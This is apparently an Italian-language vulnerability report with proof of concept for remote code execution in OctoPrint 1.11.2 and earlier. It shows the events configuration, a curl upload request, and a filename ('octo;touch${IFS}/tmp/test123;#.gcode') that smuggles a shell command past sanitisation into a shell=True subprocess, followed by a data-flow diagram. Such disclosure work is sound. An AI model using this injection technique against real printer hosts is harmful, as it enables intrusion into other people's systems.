
In OctoPrint versione <=1.11.2, un attaccante con accesso al caricamento dei file (ad esempio, una chiave API valida o una sessione) può creare un nome file malevolo che bypassa la sanitizzazione e viene successivamente eseguito dal sistema di eventi di OctoPrint, portando all'esecuzione remota di codice (RCE) sull'host.
In OctoPrint versione <=1.11.2, un attaccante con accesso al caricamento file (es. chiave API valida o sessione) può creare un nome file malevolo che bypassa la sanificazione e viene successivamente eseguito dal sistema eventi di OctoPrint, portando a esecuzione di codice remoto (RCE) sull'host
Scaricata ultima release stabile: OctoPrint 1.11.2
octoprint serve --port 5000 --debug
Ferma il servizio OctoPrint una volta completati i passaggi precedenti.
Segui la documentazione sugli eventi di OctoPrint:
Modifica ~/.octoprint/config.yaml:
events:
enabled: true
subscriptions:
- event: FileAdded
type: system
debug: true
command: "{path}"
Crea /tmp/gcode/ok.gcode:
; minimal gcode
G28
M105
Riavvia il servizio OctoPrint.
export API_KEY='<key previously gathered from webUI>'
ls -la /tmp/test123
INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'Spiegazione: ${IFS} è il separatore di campo interno (Internal Field Separator) della shell (di solito uno spazio). Bypassa la sanificazione quando viene iniettato.
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
-F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
"http://127.0.0.1:5000/api/files/local"
ls -la /tmp/test123
Se /tmp/test123 esiste, il comando iniettato è stato eseguito con successo → RCE confermata.
[Caricamento utente con nome file malevolo]
│
▼
server/api/files.py → accetta nome file grezzo (i metacaratteri sopravvivono a sanitize_name)
│
▼
events.py (EventManager.fire "FileAdded") → payload {path} include caratteri grezzi
│
▼
sottoscrittore comando di sistema → subprocess.check_call(..., shell=True)
│
▼
[I metacaratteri shell iniettati vengono eseguiti come comandi del sistema operativo]
Quando un file viene caricato:
;, ${IFS}, ecc.) viene passato a una shell.